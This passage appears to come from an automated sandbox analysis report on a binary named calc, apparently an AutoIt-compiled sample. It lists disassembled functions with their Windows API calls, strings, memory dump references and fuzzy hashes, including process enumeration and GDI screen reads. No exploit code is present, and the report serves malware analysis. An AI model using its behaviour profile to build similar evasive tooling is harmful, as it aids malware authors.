      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Object$DeleteSelect$A570BitsPixel
      • String ID: (
      • API String ID: 2851233416-3887548279
      • Opcode ID: 1c7cc8c43aef32d8cdfe02bece16dfa2d54ddc3cbcbcbaa5d366fa0736ab488b
      • Instruction ID: 44a5a25657ab3b2f0f591ab9398c7da86f2146860005dfdfe1139e521f141202
      • Opcode Fuzzy Hash: 1c7cc8c43aef32d8cdfe02bece16dfa2d54ddc3cbcbcbaa5d366fa0736ab488b
      • Instruction Fuzzy Hash: FBE18F30E04269EFCF10DFA9D885AEEFBB1FF05314F54806AE450A7252C7789985CB99
      Function 0042B6EB Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 263COMMON
      Download Yara Rule
      APIs
      • 73E9A570.USER32(00000000,?), ref: 0042B7BF
      • SelectObject.GDI32(00000000,?), ref: 0042B7EC
      • SelectObject.GDI32(?,?), ref: 0042B814
      • GetDIBits.GDI32(?,?,00000000,?,00000000,?,00000000), ref: 0042B847
      • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 0042B87A
      • DeleteObject.GDI32(?), ref: 0042B886
      • DeleteDC.GDI32(?), ref: 0042B88F
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Object$BitsDeleteSelect$A570
      • String ID: (
      • API String ID: 2880951867-3887548279
      • Opcode ID: a06560bb34f17590959d0d8a5a6711f3e45a4f402a2a6a738c4e51438627fe3f
      • Instruction ID: 4e215850921b11dc612f5a2bb87ee72c03226da213aabddab7a15e359a15e70d
      • Opcode Fuzzy Hash: a06560bb34f17590959d0d8a5a6711f3e45a4f402a2a6a738c4e51438627fe3f
      • Instruction Fuzzy Hash: 03A15A71D00219EFCF00DFA5D8848ADBBB5FF84350B54C56AE905A7211D738AA91DF94
      Function 00457777 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 235COMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: _strcat$___shr_12
      • String ID: 1#IND$1#INF$1#QNAN$1#SNAN$?
      • API String ID: 1152255961-4131533671
      • Opcode ID: fb3d597f45c2d145ef8f255b84181ca1f35989882eff8c82b04386920a81ae14
      • Instruction ID: dac7b988a7f31c2646ab102d4da0209923bec554b4ffcb30ba6cbffe36e4aeb7
      • Opcode Fuzzy Hash: fb3d597f45c2d145ef8f255b84181ca1f35989882eff8c82b04386920a81ae14
      • Instruction Fuzzy Hash: 0F913671C0829A9EDF11DB68D8847EEBBB4AF15316F0445BBDC41AB283D3788609C779
      Function 004013E2 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 195COMMON
      Download Yara Rule
      APIs
      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401412
        • Part of subcall function 00416990: CharUpperBuffW.USER32(00401448,?,?,00401448,CmdLineRaw), ref: 00416999
        • Part of subcall function 004169E0: CharUpperBuffW.USER32(00401494,?,?,?,00401494,CmdLine), ref: 004169EC
      • GetModuleFileNameW.KERNEL32(00000000,?,00000104,CmdLine), ref: 0040151F
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: BuffCharFileModuleNameUpper
      • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$CmdLine$CmdLineRaw
      • API String ID: 2024523369-3010741765
      • Opcode ID: 0d7f104c46213225820da23735dc2965e46fceabac7202cdb864c7589eb1f838
      • Instruction ID: 348f64aedd504845f7f551f83b668721e5f2da1375cbe9f9b59148a0ffc6890f
      • Opcode Fuzzy Hash: 0d7f104c46213225820da23735dc2965e46fceabac7202cdb864c7589eb1f838
      • Instruction Fuzzy Hash: DB615371E00218ABDF01ABA5C842AEEBB75DF44318F10006FF90177292EB78AD8597D9
      Function 00422EA1 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 191timeCOMMON
      Download Yara Rule
      APIs
      • GetLocalTime.KERNEL32(?), ref: 00422F74
      • SystemTimeToFileTime.KERNEL32(?,?), ref: 00422F82
      • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00422F8D
      • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0042302C
      • SetCurrentDirectoryW.KERNEL32(?), ref: 0042303F
      • SetCurrentDirectoryW.KERNEL32(?), ref: 00423088
      • SetCurrentDirectoryW.KERNEL32(?,?,00000000,00000000,00000000), ref: 004230CA
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Time$CurrentDirectory$File$Local$System
      • String ID: *.*
      • API String ID: 1640188443-438819550
      • Opcode ID: 427eb3a9f93714729a7ff3aa90f5563d65ff183ad83eb8761ce986350e6fa38d
      • Instruction ID: bdb3071efd987846cfc0d3705619fa8a33cda40b97a1990c55567f1c35d9baa7
      • Opcode Fuzzy Hash: 427eb3a9f93714729a7ff3aa90f5563d65ff183ad83eb8761ce986350e6fa38d
      • Instruction Fuzzy Hash: AD617472A00228ABDF10DFA5DD85ACEB3B8AF04315F55409BE904A7105DB78EE85DB68
      Function 0041FAEE Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 134windowCOMMON
      Download Yara Rule
      APIs
      • LoadStringW.USER32(00000066,?,00000FFF,00479E08), ref: 0041FB43
      • LoadStringW.USER32(0047BD30,?,00000FFF), ref: 0041FB56
      • MessageBoxW.USER32(?,?,00011010), ref: 0041FCAB
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: LoadString$Message
      • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
      • API String ID: 2278601591-2268648507
      • Opcode ID: dbc88b6028753eebd55926f2d2e90102df91fa1ff979e280e87bdffbe32b8cdb
      • Instruction ID: 6fc9e5af0b6feda39e0b2b0f3be66a4d0474c2105bc075db2bccfe6611d7421c
      • Opcode Fuzzy Hash: dbc88b6028753eebd55926f2d2e90102df91fa1ff979e280e87bdffbe32b8cdb
      • Instruction Fuzzy Hash: C3416576D00118AAEF21AB95CC45FDE77BCBB04308F0444B7F908E2152EA789A8D9F59
      Function 004145F8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 00416372: LoadLibraryA.KERNEL32(kernel32.dll,0041461F,76230F00,00479E08), ref: 0041637D
        • Part of subcall function 00416372: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0041638F
      • FreeLibrary.KERNEL32(00479E08,76230F00,00479E08), ref: 0041476B
        • Part of subcall function 00416399: LoadLibraryA.KERNEL32(kernel32.dll,00414630,76230F00,00479E08), ref: 004163A4
        • Part of subcall function 00416399: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 004163B6
      • FreeLibrary.KERNEL32(?,76230F00,00479E08), ref: 0041475D
        • Part of subcall function 004163C0: LoadLibraryA.KERNEL32(kernel32.dll,00414641,76230F00,00479E08), ref: 004163CB
        • Part of subcall function 004163C0: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 004163DD
      • CloseHandle.KERNEL32(00000000), ref: 00414719
      • FreeLibrary.KERNEL32(?), ref: 0041472D
      • FreeLibrary.KERNEL32(?), ref: 00414737
      • FreeLibrary.KERNEL32(00479E08), ref: 00414741
      • FreeLibrary.KERNEL32(?,76230F00,00479E08), ref: 0041474F
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$Free$AddressLoadProc$CloseHandle
      • String ID: #v
      • API String ID: 59553586-554117064
      • Opcode ID: 7bc2e15a2c08dfa422e9ee046e246841171260878f1cd2375263530d5d94805e
      • Instruction ID: 27dac92add9ddf9618ea19e3f12248affa182d011fb36f9912dfa0d6a51cbeb4
      • Opcode Fuzzy Hash: 7bc2e15a2c08dfa422e9ee046e246841171260878f1cd2375263530d5d94805e
      • Instruction Fuzzy Hash: 03413A71C0021EEBCF11AFA1CC848EEBBB8BF49305F1440ABE515A2141D7389AC5CF99
      Function 0040ACC5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 113windowCOMMON
      Download Yara Rule
      APIs
      • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,000000FF,000000FF,000000FF,static,00000000,00000000,?,?,00000000), ref: 0040AD6A
      • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 0040AD95
      • SelectObject.GDI32(00000000,00000000), ref: 0040AD9D
      • GetPixel.GDI32(00000000,00000000,00000000), ref: 0040ADA6
      • DeleteDC.GDI32(00000000), ref: 0040ADAF
      • FreeLibrary.KERNEL32(?), ref: 0040ADE1
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: DeleteFreeLibraryMessageMoveObjectPixelSelectSendWindow
      • String ID: static$#v
      • API String ID: 109832112-1148029722
      • Opcode ID: d591d34ae13dce0df897d2ae6259955c63a5f18172f723fdf8d5646ef0101bf3
      • Instruction ID: 46d34da8f58ca191638f5e8fa562867750dc08f6998696ef982bf1e62136dc5c
      • Opcode Fuzzy Hash: d591d34ae13dce0df897d2ae6259955c63a5f18172f723fdf8d5646ef0101bf3
      • Instruction Fuzzy Hash: 3B415C31400208FFCF119FA5DC48DDB3BB9EF89726B10426AF915A21A1D738CD61DB69
      Function 00408346 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 94windowCOMMON
      Download Yara Rule
      APIs
      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,?,00000000), ref: 004083DA
      • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 004083F8
      • GetDesktopWindow.USER32 ref: 00408401
      • GetWindowRect.USER32(00000000), ref: 00408408
      • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00408419
      • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0040842D
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSendWindow$CreateDesktopRect
      • String ID: ,$tooltips_class32
      • API String ID: 1032049750-3856767331
      • Opcode ID: 9b8121fc188cf288ac9b5b5fef6ff443b3dc8ee524fe8ba7451b8fdb6dbb4574
      • Instruction ID: fe07c1e0de863ff4ca3345fb0f8a85e63066fb8b723ce0ea5c7ea8cd899b1c6a
      • Opcode Fuzzy Hash: 9b8121fc188cf288ac9b5b5fef6ff443b3dc8ee524fe8ba7451b8fdb6dbb4574
      • Instruction Fuzzy Hash: 95315CB2600309BFDB11DFA8DD85EAA7BB8FB08311F104429FA45E3251D775ED148B64
      Function 00424304 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 83COMMON
      Download Yara Rule
      APIs
      • SetErrorMode.KERNEL32(00000001), ref: 00424311
      • GetDiskFreeSpaceW.KERNEL32(?,?,?,00000000,?,00000000), ref: 0042436D
      • GetLastError.KERNEL32 ref: 00424377
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Error$DiskFreeLastModeSpace
      • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
      • API String ID: 2351555085-14809454
      • Opcode ID: 28222a4f425f392fe2fcb0f80f5939013eb6b9de9b86fc8f19a2b2b2cc2a0c5d
      • Instruction ID: 9e21e8075b32901511b120586c6058870a00a7af5fab498cdf3aaad3efea1a69
      • Opcode Fuzzy Hash: 28222a4f425f392fe2fcb0f80f5939013eb6b9de9b86fc8f19a2b2b2cc2a0c5d
      • Instruction Fuzzy Hash: 9B219132700228ABDB10EBA5D805ADF77A4EF84711F954157EC01E72A1DA7CED81879E
      Function 004028E7 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 80windowCOMMON
      Download Yara Rule
      APIs
      • GetParent.USER32 ref: 00402902
      • GetClassNameW.USER32(00000000,?,00000100), ref: 00402917
      • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 004029A4
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ClassMessageNameParentSend
      • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
      • API String ID: 1290815626-3381328864
      • Opcode ID: d88d9084de9778645954b2dac89c947d0fa01af5cf27f13dcbfedf737330abc8
      • Instruction ID: e207e6aa0a9501f7c625afa673fde9d34c0ad767b1b7f61e043eefd813117af9
      • Opcode Fuzzy Hash: d88d9084de9778645954b2dac89c947d0fa01af5cf27f13dcbfedf737330abc8
      • Instruction Fuzzy Hash: 2811AFB2348305BEFA1096609E4EE6723DC9B04726F20146BFD42F21C2EAACAC01596D
      Function 00424006 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 77COMMON
      Download Yara Rule
      APIs
      • SetErrorMode.KERNEL32(00000001), ref: 00424013
      • GetDriveTypeW.KERNEL32(00000000,00000000), ref: 0042405D
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: DriveErrorModeType
      • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown
      • API String ID: 2651406809-706929342
      • Opcode ID: 08aff071bbe8387bd98da38cb827e2b383d3b77f2986837a44d38e406a4d18e4
      • Instruction ID: c236b00be81f74bb42f36345c47f50d6727ad15e36b1af1162972c05b99f5c91
      • Opcode Fuzzy Hash: 08aff071bbe8387bd98da38cb827e2b383d3b77f2986837a44d38e406a4d18e4
      • Instruction Fuzzy Hash: E921DE31704324EBC7206B65A845E5B3760EB80B15FA44157F706A72D1DA7CECC1864F
      Function 0040F96A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 65windowCOMMON
      Download Yara Rule
      APIs
      • GetModuleHandleW.KERNEL32(00000000,00000066,?,00000100,?,004101C0,00000000,0047BD30,00000000,Unterminated string,?,00000000,?,?,?,0040FF9B), ref: 0040F987
      • LoadStringW.USER32(00000000,?,004101C0,00000000), ref: 0040F98E
      • MessageBoxW.USER32(?,?,?,00011010), ref: 0040FA4C
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: HandleLoadMessageModuleString
      • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
      • API String ID: 2734547477-4153970271
      • Opcode ID: 8148261fd63ca7fad340775ac33531daacb9e259fe7ff56dc5ab8cd291d0260c
      • Instruction ID: d526ee89b4f850ae7cdf24bbb3a648b0a8c45d5598141b054d4e4435141c55e2
      • Opcode Fuzzy Hash: 8148261fd63ca7fad340775ac33531daacb9e259fe7ff56dc5ab8cd291d0260c
      • Instruction Fuzzy Hash: B921367194020ABADF25BF90CC4AF8A7769AB08705F004063BA14A10D2D679DA68DB59
      Function 00457A2F Relevance: 13.8, APIs: 9, Instructions: 299COMMON
      Download Yara Rule
      APIs
      • CompareStringW.KERNEL32(00000000,00000000,00462758,00000001,00462758,00000001,0045C490,00000048,004571DF,0045DC34,00000001,?,00000000,00000002,00000000,?), ref: 00457A68
      • GetLastError.KERNEL32(?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0,0045BBD8,00000018,00452DFD,0045BBE8,00000008,0044BA23), ref: 00457A7E
      • GetCPInfo.KERNEL32(00000000,00452DFD,0045C490,00000048,004571DF,0045DC34,00000001,?,00000000,00000002,00000000,?,?,00455B83,00000000,?), ref: 00457B23
      • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457BA6
      • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,0045BBD8,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457C22
      • MultiByteToWideChar.KERNEL32(00000000,00000009,00000018,?,00000000,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457C3F
      • MultiByteToWideChar.KERNEL32(00000000,00000001,00000018,?,?,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457CB5
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiWide$CompareErrorInfoLastString
